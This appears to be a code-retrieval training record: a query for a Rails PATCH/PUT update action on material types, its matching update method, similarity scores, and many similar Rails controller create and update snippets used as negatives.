"def create\n @contact_medium_type = ContactMediumType.new(contact_medium_type_params)\n\n respond_to do |format|\n if @contact_medium_type.save\n format.html { redirect_to @contact_medium_type, notice: 'Contact medium type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @contact_medium_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @contact_medium_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dashboard_material_params\r\n params.require(:material).permit(:name, :attachment, :discipline_id, :user_id)\r\n end",
"def reltype_params\n params.require(:reltype).permit(:name, :color, :short)\n end",
"def material_params\n params.require(:material).permit(:nome, :qnt)\n end",
"def classe_material_params\n params.require(:classe_material).permit(:codigo, :nome, :grupo_material_id)\n end",
"def create\n @student_type = StudentType.new(student_type_params)\n\n if @student_type.save\n render json: @student_type, status: :created, location: @student_type\n else\n render json: @student_type.errors, status: :unprocessable_entity\n end\n end",
"def create\n @reltype = Reltype.new(reltype_params)\n\n respond_to do |format|\n if @reltype.save\n format.html { redirect_to @reltype, notice: 'Reltype was successfully created.' }\n format.json { render :show, status: :created, location: @reltype }\n else\n format.html { render :new }\n format.json { render json: @reltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gl_type = GlType.new(gl_type_params)\n\n respond_to do |format|\n if @gl_type.save\n format.html { redirect_to gl_types_path, notice: 'Gl type was successfully created.' }\n format.json { render json: @gl_type, status: :created, location: @gl_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gl_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reform_type = ReformType.new(params[:reform_type])\n\n respond_to do |format|\n if @reform_type.save\n format.html { redirect_to @reform_type, notice: 'Reform type was successfully created.' }\n format.json { render json: @reform_type, status: :created, location: @reform_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reform_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_types\n\t[]\nend",
"def create_types\n\t[]\nend",
"def material_params\n pms = params.require(:material).permit!\n pms['raw_material_ids'] = params['raw_material_ids']\n pms[:internal] = params[:internal]\n return pms\n end",
"def create\n @itemtype = Itemtype.new(itemtype_params)\n\n respond_to do |format|\n if @itemtype.save\n format.html { redirect_to @itemtype, notice: 'Itemtype was successfully created.' }\n format.json { render :show, status: :created, location: @itemtype }\n else\n format.html { render :new }\n format.json { render json: @itemtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @material_composition = MaterialComposition.new(material_composition_params)\n @rp = material_composition_params\n respond_to do |format|\n if @material_composition.save\n if(@rp[:mtype] == \"0\")\n material = BaseMaterial.find(@rp[:material_composition_add])\n puts material.inspect\n mjt = @material_composition.material_joins.new(base_material: material)\n mjt[:weight] = @rp[:weight]\n mjt[:width] = @rp[:width]\n mjt.save\n @material_composition[:lambda] = @material_composition.calcR\n @material_composition.save\n \n elsif (@rp[:mtype] == \"1\")\n material = BaseMaterial.find(@rp[:material_composition_add_0])\n mjt = @material_composition.material_joins.new(base_material: material)\n mjt.weight = @rp[:weight_0]\n mjt.width = @rp[:width_0]\n @material_composition[:lambda] = @rp[:lambda_0]\n mjt.save\n @material_composition.save\n \n elsif (@rp[:mtype] == \"2\")\n material_1 = BaseMaterial.find(@rp[:material_composition_add_1])\n mjt1 = @material_composition.material_joins.new(base_material: material_1)\n mjt1.weight = @rp[:weight_1]\n mjt1.width = @rp[:width_1]\n mjt1.save\n material_2 = BaseMaterial.find(@rp[:material_composition_add_2])\n mjt2 = @material_composition.material_joins.new(base_material: material_2)\n mjt2.weight = @rp[:weight_2]\n mjt2.width = @rp[:width_2]\n @material_composition[:lambda] = @rp[:lambda_1]\n mjt2.save\n @material_composition.save\n \n\n else\n puts '------------FALHOU-------'\n puts @rp[:mtype]\n\n\n end\n format.html { redirect_to @material_composition, notice: 'Material composition was successfully created.' }\n format.json { render :show, status: :created, location: @material_composition }\n else\n format.html { render :new }\n format.json { render json: @material_composition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.find(params[:project_id])\n @material_usage = @project.material_usages.build(params[:material_usage].except(:material_id, :phase_id))\n @material_usage.material = @project.materials.find_by_id(params[:material_usage][:material_id])\n @material_usage.phase = @project.phases.find_by_id(params[:material_usage][:phase_id])\n\n respond_to do |format|\n if @material_usage.save\n format.html { redirect_to [@project, @material_usage], notice: 'Material usage was successfully created.' }\n format.json { render json: @material_usage, status: :created, location: @material_usage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @material_usage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @s_material = SMaterial.new(s_material_params)\n authorize @s_material\n\n respond_to do |format|\n if @s_material.save\n format.html { redirect_to s_materials_url, notice: t('Record has been saved') }\n format.json { render :show, status: :created, location: @s_material }\n else\n format.html { render :new }\n format.json { render json: @s_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_types\n\t\t[]\n\tend",
"def create_types\n\t\t[]\n\tend",
"def create\n @mobile_type = MobileType.new(params[:mobile_type])\n\n respond_to do |format|\n if @mobile_type.save\n format.html { redirect_to(admin_mobile_type_path(@mobile_type), :notice => 'Mobile type was successfully created.') }\n format.xml { render :xml => @mobile_type, :status => :created, :location => @mobile_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mobile_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def material_category_params\n params.require(:material_category).permit(:name)\n end",
"def create\n @data_set_type = DataSetType.new(data_set_type_params)\n\n respond_to do |format|\n if @data_set_type.save\n format.html { redirect_to @data_set_type, notice: 'Data set type was successfully created.' }\n format.json { render :show, status: :created, location: @data_set_type }\n else\n format.html { render :new }\n format.json { render json: @data_set_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @typegroup = Typegroup.new(typegroup_params)\n\n respond_to do |format|\n if @typegroup.save\n format.html { redirect_to @typegroup, notice: 'Typegroup was successfully created.' }\n format.json { render action: 'show', status: :created, location: @typegroup }\n else\n format.html { render action: 'new' }\n format.json { render json: @typegroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def material_params\n params.require(:material).permit(:title, :price, :storable_id, :storable_type, :quantity)\n end",
"def class_material_params\n params.require(:class_material).permit(:name, :material_url, uploads: [])\n end",
"def material_params\n params.require(:material).permit(:name, :imgURL, :notes, :season)\n end",
"def create\n @manifestation_type = ManifestationType.new(params[:manifestation_type])\n\n respond_to do |format|\n if @manifestation_type.save\n format.html { redirect_to @manifestation_type, notice: 'Manifestation type was successfully created.' }\n format.json { render json: @manifestation_type, status: :created, location: @manifestation_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manifestation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def material_item_params\n params.require(:material_item).permit(:name, :material_id, :description)\n end",
"def material_params\n params.require(:material).permit(:title, :description, :created_at, :updated_at, :updated_by, :public_level, :level_id, :subject_id, questions_attributes: [:id, :content, :_destroy, alternatives_attributes: [:id, :content, :_destroy] ])\n end"
] |
[
"0.749657",
"0.73558706",
"0.72912514",
"0.6700096",
"0.6583948",
"0.6583948",
"0.6571985",
"0.6534968",
"0.65178293",
"0.6503478",
"0.64999026",
"0.6482453",
"0.6408931",
"0.63930815",
"0.6345891",
"0.63125694",
"0.63080525",
"0.62988484",
"0.6275991",
"0.6275991",
"0.6182352",
"0.6182352",
"0.6137538",
"0.6135436",
"0.61167526",
"0.61158943",
"0.60940313",
"0.6051755",
"0.5996624",
"0.59497464",
"0.5927683",
"0.5925937",
"0.59220153",
"0.5909035",
"0.5904036",
"0.590388",
"0.5897336",
"0.589387",
"0.5892373",
"0.5888301",
"0.58846796",
"0.58791924",
"0.58555",
"0.5833681",
"0.58293825",
"0.58184636",
"0.58108705",
"0.58108705",
"0.5810463",
"0.5804914",
"0.579911",
"0.5789134",
"0.5782295",
"0.5781467",
"0.5778097",
"0.57767814",
"0.577345",
"0.57680726",
"0.5763139",
"0.57610315",
"0.5753754",
"0.5751435",
"0.5747541",
"0.57309854",
"0.5719161",
"0.5719161",
"0.5719161",
"0.57121944",
"0.5701567",
"0.5700165",
"0.5696212",
"0.5690273",
"0.5688995",
"0.56866884",
"0.56832457",
"0.5682722",
"0.5680343",
"0.5674771",
"0.5673159",
"0.567283",
"0.5670674",
"0.5668179",
"0.5668179",
"0.56658006",
"0.566371",
"0.566196",
"0.56601554",
"0.56543064",
"0.5653982",
"0.5653982",
"0.5648143",
"0.5644473",
"0.5638773",
"0.5626053",
"0.56175953",
"0.56168896",
"0.5612935",
"0.5612694",
"0.5612477",
"0.5605929"
] |
0.78080374
|
0
|
PATCH/PUT /material_types/1 PATCH/PUT /material_types/1.json
|
def update
@material_type = MaterialType.find(params[:id])
if @material_type.update(material_type_params)
head :no_content
else
render json: @material_type.errors, status: :unprocessable_entity
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @material_type.update(material_type_params)\n format.html { redirect_to @material_type, notice: 'Material type was successfully updated.' }\n format.json { render :show, status: :ok, location: @material_type }\n else\n format.html { render :edit }\n format.json { render json: @material_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mtype = Mtype.find(params[:id])\n\n respond_to do |format|\n if @mtype.update_attributes(params[:mtype])\n format.html { redirect_to @mtype, notice: 'Mtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @tipo_material.update(tipo_material_params)\r\n format.html { redirect_to tipo_material_path(@tipo_material), notice: 'Materia prima atualizada com sucesso.' }\r\n format.json { render :show, status: :ok, location: @tipo_material }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @tipo_material.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def set_material_type\n @material_type = MaterialType.find(params[:id])\n end",
"def update\n @material = Material.find(params[:id])\n\n respond_to do |format|\n if @material.update_attributes(params[:material])\n format.html { redirect_to @material, notice: 'Material was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @material = Material.find(params[:id])\n\n respond_to do |format|\n if @material.update_attributes(params[:material])\n format.html { redirect_to @material, notice: 'Material was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @material.update(material_params)\n format.html { redirect_to @material, notice: 'Material was successfully updated.' }\n format.json { render :show, status: :ok, location: @material }\n else\n format.html { render :edit }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @material = Material.find(params[:id])\n\n respond_to do |format|\n if @material.update_attributes(permitted_params(nil).material)\n format.html { redirect_to @material, notice: 'Material was successfully updated.' }\n format.json { head :no_content }\n format.mobile { redirect_to @material, notice: t('activerecord.messages.material.updated_successfully', material: @material.name) }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n format.mobile { redirect_to :back }\n end\n end\n end",
"def update\n respond_to do |format|\n if @modtype.update(modtype_params)\n format.html { redirect_to @modtype, notice: 'Modtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @modtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @raw_material.update(raw_material_params)\n format.html { redirect_to @raw_material, notice: 'Raw material was successfully updated.' }\n format.json { render :show, status: :ok, location: @raw_material }\n else\n format.html { render :edit }\n format.json { render json: @raw_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @raw_material.update(raw_material_params)\n format.html { redirect_to @raw_material, notice: 'Raw material was successfully updated.' }\n format.json { render :show, status: :ok, location: @raw_material }\n else\n format.html { render :edit }\n format.json { render json: @raw_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n @type.update(type_params)\n end",
"def update\n respond_to do |format|\n if @model_type.update(model_type_params)\n format.html { redirect_to @model_type, notice: 'Model type was successfully updated.' }\n format.json { render :show, status: :ok, location: @model_type }\n else\n format.html { render :edit }\n format.json { render json: @model_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ref_mkb_type = Ref::MkbType.find(params[:id])\n\n respond_to do |format|\n if @ref_mkb_type.update_attributes(params[:ref_mkb_type])\n format.html { redirect_to ref_mkb_types_path, notice: I18n.t(:record_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ref_mkb_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reform_type = ReformType.find(params[:id])\n\n respond_to do |format|\n if @reform_type.update_attributes(params[:reform_type])\n format.html { redirect_to @reform_type, notice: 'Reform type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reform_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def material_type_params\n params.require(:material_type).permit(:name)\n end",
"def update\n respond_to do |format|\n if @modeltype.update(modeltype_params)\n format.html { redirect_to @modeltype, notice: 'Modeltype was successfully updated.' }\n format.json { render :show, status: :ok, location: @modeltype }\n else\n format.html { render :edit }\n format.json { render json: @modeltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recipe_type.update(recipe_type_params)\n format.html { redirect_to @recipe_type, notice: \"Recipe type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @recipe_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @recipe_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @manifestation_type = ManifestationType.find(params[:id])\n\n respond_to do |format|\n if @manifestation_type.update_attributes(params[:manifestation_type])\n format.html { redirect_to @manifestation_type, notice: 'Manifestation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manifestation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @material.update_attributes(params[:material])\n format.html { redirect_to(@material, :notice => 'Material was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @material.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @material = Material.find(params[:id])\n\n respond_to do |format|\n if @material.update_attributes(params[:material])\n format.html { redirect_to @material, notice: 'material was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n @entry_type = EntryType.find(params[:id])\n\n respond_to do |format|\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type.field_type_ids = field_type_ids if field_type_ids\n params[:entry_type].delete(\"form_code\")\n if @entry_type.update_attributes(params[:entry_type])\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def material_type_params\n params.require(:material_type).permit(:name_material_type, :desc_material_type)\n end",
"def update\n respond_to do |format|\n if @data_set_type.update(data_set_type_params)\n format.html { redirect_to @data_set_type, notice: 'Data set type was successfully updated.' }\n format.json { render :show, status: :ok, location: @data_set_type }\n else\n format.html { render :edit }\n format.json { render json: @data_set_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @material.update(material_params)\n format.html { redirect_to workshop_materials_url(@workshop), notice: 'Material fue editado exitosamente.' }\n format.json { render :show, status: :ok, location: @material }\n else\n format.html { render :edit }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_material\n begin\n @material = type.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n redirect_to materials_path, alert: \"Could not find #{type.name.split(':').last} with ID #{params[:id]}!\"\n end\n end",
"def update\n respond_to do |format|\n if @affected_type.update(affected_type_params)\n format.html { redirect_to @affected_type, notice: 'Affected type was successfully updated.' }\n format.json { render :show, status: :ok, location: @affected_type }\n else\n format.html { render :edit }\n format.json { render json: @affected_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @material.update(material_params)\n render :show, status: :ok, location: @material\n else\n render json: @material.errors, status: :unprocessable_entity\n end\n end",
"def update\n @gl_type = GlType.find(params[:id])\n\n respond_to do |format|\n if @gl_type.update_attributes(gl_type_params)\n format.html { redirect_to gl_types_path, notice: 'Gl type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gl_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @material = Material.find(params[:id])\n\n respond_to do |format|\n if @material.update_attributes(params[:material])\n format.html { redirect_to(@material, :notice => 'Material was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @material.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spec_type.update(spec_type_params)\n format.html { redirect_to @spec_type, notice: 'Spec type was successfully updated.' }\n format.json { render :show, status: :ok, location: @spec_type }\n else\n format.html { render :edit }\n format.json { render json: @spec_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n raw = params[:sample_type]\n st = SampleType.find(raw[:id])\n\n st.name = raw[:name]\n st.description = raw[:description]\n st.save\n st.save_field_types raw[:field_types]\n\n render json: { sample_type: st }\n\n end",
"def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_type.update(item_type_params)\n format.html { redirect_to @item_type, notice: 'ItemType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @issue_type.update(issue_type_params)\n format.html { redirect_to @issue_type, notice: 'Issue type was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_type }\n else\n format.html { render :edit }\n format.json { render json: @issue_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contact_medium_type.update(contact_medium_type_params)\n format.html { redirect_to @contact_medium_type, notice: 'Contact medium type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contact_medium_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @claim_type.update(claim_type_params)\n format.html { redirect_to @claim_type, notice: 'Claim type was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_type }\n else\n format.html { render :edit }\n format.json { render json: @claim_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @flat_type.update(flat_type_params)\n format.html { redirect_to @flat_type, notice: 'Flat type was successfully updated.' }\n format.json { render :show, status: :ok, location: @flat_type }\n else\n format.html { render :edit }\n format.json { render json: @flat_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tool_type.update(tool_type_params)\n format.html { redirect_to @tool_type, notice: 'Tool type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tool_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @yarn_type.update(yarn_type_params)\n format.html { redirect_to @yarn_type, notice: 'Yarn type was successfully updated.' }\n format.json { render :show, status: :ok, location: @yarn_type }\n else\n format.html { render :edit }\n format.json { render json: @yarn_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if can?(:>=, \"5\")\n params[:kit_media_type][:compartment_layout] = params[:kit_media_type][:compartment_layout].to_json\n @kit_media_type = Kitting::KitMediaType.find(params[:id])\n respond_to do |format|\n if @kit_media_type.update_attributes(params[:kit_media_type])\n format.html { redirect_to @kit_media_type, notice: 'Kit media type is updated successfully.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kit_media_type.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to main_app.unauthorized_url\n end\n end",
"def update\n respond_to do |format|\n if @reltype.update(reltype_params)\n format.html { redirect_to @reltype, notice: 'Reltype was successfully updated.' }\n format.json { render :show, status: :ok, location: @reltype }\n else\n format.html { render :edit }\n format.json { render json: @reltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @material\n respond_to do |format|\n if @material.update(material_params)\n @material.create_activity(:update, owner: current_user) if @material.log_update_activity?\n format.html { redirect_to @material, notice: 'Material was successfully updated.' }\n format.json { render :show, status: :ok, location: @material }\n else\n format.html { render :edit }\n format.json { render json: @material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @use_type.update(use_type_params)\n format.html { redirect_to @use_type, notice: 'Use type was successfully updated.' }\n format.json { render :show, status: :ok, location: @use_type }\n else\n format.html { render :edit }\n format.json { render json: @use_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:project_id])\n @material_usage = @project.material_usages.find(params[:id])\n @material_usage.material = @project.materials.find_by_id(params[:material_usage][:material_id])\n @material_usage.phase = @project.phases.find_by_id(params[:material_usage][:phase_id])\n\n respond_to do |format|\n if @material_usage.update_attributes(params[:material_usage].except(:material_id, :phase_id))\n format.html { redirect_to [@project, @material_usage], notice: 'Material usage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @material_usage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_admin_type.update(api_v1_admin_type_params)\n format.html { redirect_to @api_v1_admin_type, notice: 'Admin type was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_admin_type }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_admin_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_tipo_material\r\n @tipo_material = TipoMaterial.find(params[:id])\r\n end",
"def update\n @student_type = StudentType.find(params[:id])\n\n if @student_type.update(student_type_params)\n head :no_content\n else\n render json: @student_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @reference_type.update_attributes(params[:reference_type])\n flash[:notice] = 'Reference type was successfully updated.'\n @changed << @reference_type.id\n\n format.html { redirect_to reference_types_path }\n format.js { render 'shared/index'; flash.discard }\n format.json { head :no_content }\n else\n @edited << @reference_type.id\n @expanded << @reference_type.id\n\n format.html { render action: 'edit', template: 'shared/edit' }\n format.js { render 'reference_type' }\n format.json { render json: @reference_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @raw_material = RawMaterial.find(params[:id])\n\n respond_to do |format|\n if @raw_material.update_attributes(params[:raw_material])\n format.html { redirect_to(@raw_material, :notice => 'RawMaterial was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @raw_material.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end",
"def update\n @structure_type = StructureType.find(params[:id])\n\n respond_to do |format|\n if @structure_type.update_attributes(params[:structure_type])\n format.html { redirect_to @structure_type, notice: 'Structure type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @structure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @media_type = MediaType.find(params[:id])\n\n respond_to do |format|\n if @media_type.update_attributes(params[:media_type])\n format.html { redirect_to @media_type, notice: 'Media type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @media_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @material_type = MaterialType.new(material_type_params)\n\n if @material_type.save\n render json: @material_type, status: :created, location: @material_type\n else\n render json: @material_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n if @act_type.update_attributes(params[:act_type])\n format.html { redirect_to @act_type, notice: 'Данные типа документа успешно обновлены.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ref_med_diagnostic_test_type = Ref::MedDiagnosticTestType.find(params[:id])\n\n respond_to do |format|\n if @ref_med_diagnostic_test_type.update_attributes(params[:ref_med_diagnostic_test_type])\n format.html { redirect_to ref_med_diagnostic_test_types_path, notice: I18n.t(:record_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ref_med_diagnostic_test_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @manifestation_relationship_type = ManifestationRelationshipType.find(params[:id])\n\n respond_to do |format|\n if @manifestation_relationship_type.update_attributes(params[:manifestation_relationship_type])\n format.html { redirect_to @manifestation_relationship_type, notice: 'Manifestation relationship type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manifestation_relationship_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @component_material.update(component_material_params)\n format.html { redirect_to @component_material, notice: 'Component material was successfully updated.' }\n format.json { render :show, status: :ok, location: @component_material }\n else\n format.html { render :edit }\n format.json { render json: @component_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @specification_type = SpecificationType.find(params[:id])\n\n if @specification_type.update(specification_type_params)\n audit(@specification_type, current_user)\n render json: @specification_type, status: :created, serializer: Web::V1::SpecificationTypeSerializer\n else\n render json: @specification_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n @special_needs_type = SpecialNeedsType.find(params[:id])\n\n respond_to do |format|\n if @special_needs_type.update_attributes(params[:special_needs_type])\n format.html { redirect_to @special_needs_type, :notice => 'Tipo de necessidade especial atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @special_needs_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @music_type.update(music_type_params)\n format.html { redirect_to @music_type, notice: 'Music type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @music_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @method_type.update(method_type_params)\n format.html { redirect_to @method_type, notice: \"Method type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @method_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @method_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_material.update(user_material_params)\n format.html { redirect_to @user_material, notice: 'User material was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_material }\n else\n format.html { render :edit }\n format.json { render json: @user_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @material = @current_shop.materials.find(event_params[:material_id]) rescue nil\n if @material\n @event.material = @material\n @event.is_system_keyword = false\n @event.system_keyword = nil\n elsif Event::SYSTEM_KEY.map{|key| key[1]}.include? event_params[:material_id]\n @event.material = nil\n @event.is_system_keyword = true\n @event.system_keyword = event_params[:material_id].gsub(Event::KEY_PREFIX, \"\")\n end\n respond_to do |format|\n if @event.update(event_params.except(:material_id))\n format.html { redirect_to backend_shop_events_path(@current_shop.slug), notice: t('Event was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_type.update(product_type_params)\n format.html { redirect_to @product_type, notice: 'Product type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @dashboard_material.update(dashboard_material_params)\r\n flash[:success] = \"Material alterado com sucesso.\"\r\n format.html { redirect_to dashboard_materials_path }\r\n format.json { render :show, status: :ok, location: @dashboard_material }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @dashboard_material.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n prms = @boat_type.is_modification? ? modification_params : boat_type_params\n respond_to do |format|\n if @boat_type.update(prms)\n format.html { redirect_to edit_boat_type_path(@boat_type), notice: 'Тип лодки успешно обновлён' }\n format.json { render json: @boat_type.hash_view('control'), status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @boat_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @material_item.update(material_item_params)\n format.html { redirect_to @material_item, notice: 'Material item was successfully updated.' }\n format.json { render :show, status: :ok, location: @material_item }\n else\n format.html { render :edit }\n format.json { render json: @material_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @acquired_type.update(acquired_type_params)\n format.html { redirect_to @acquired_type, notice: 'Acquired type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @acquired_type.errors, status: :unprocessable_entity }\n end\n end\n end",
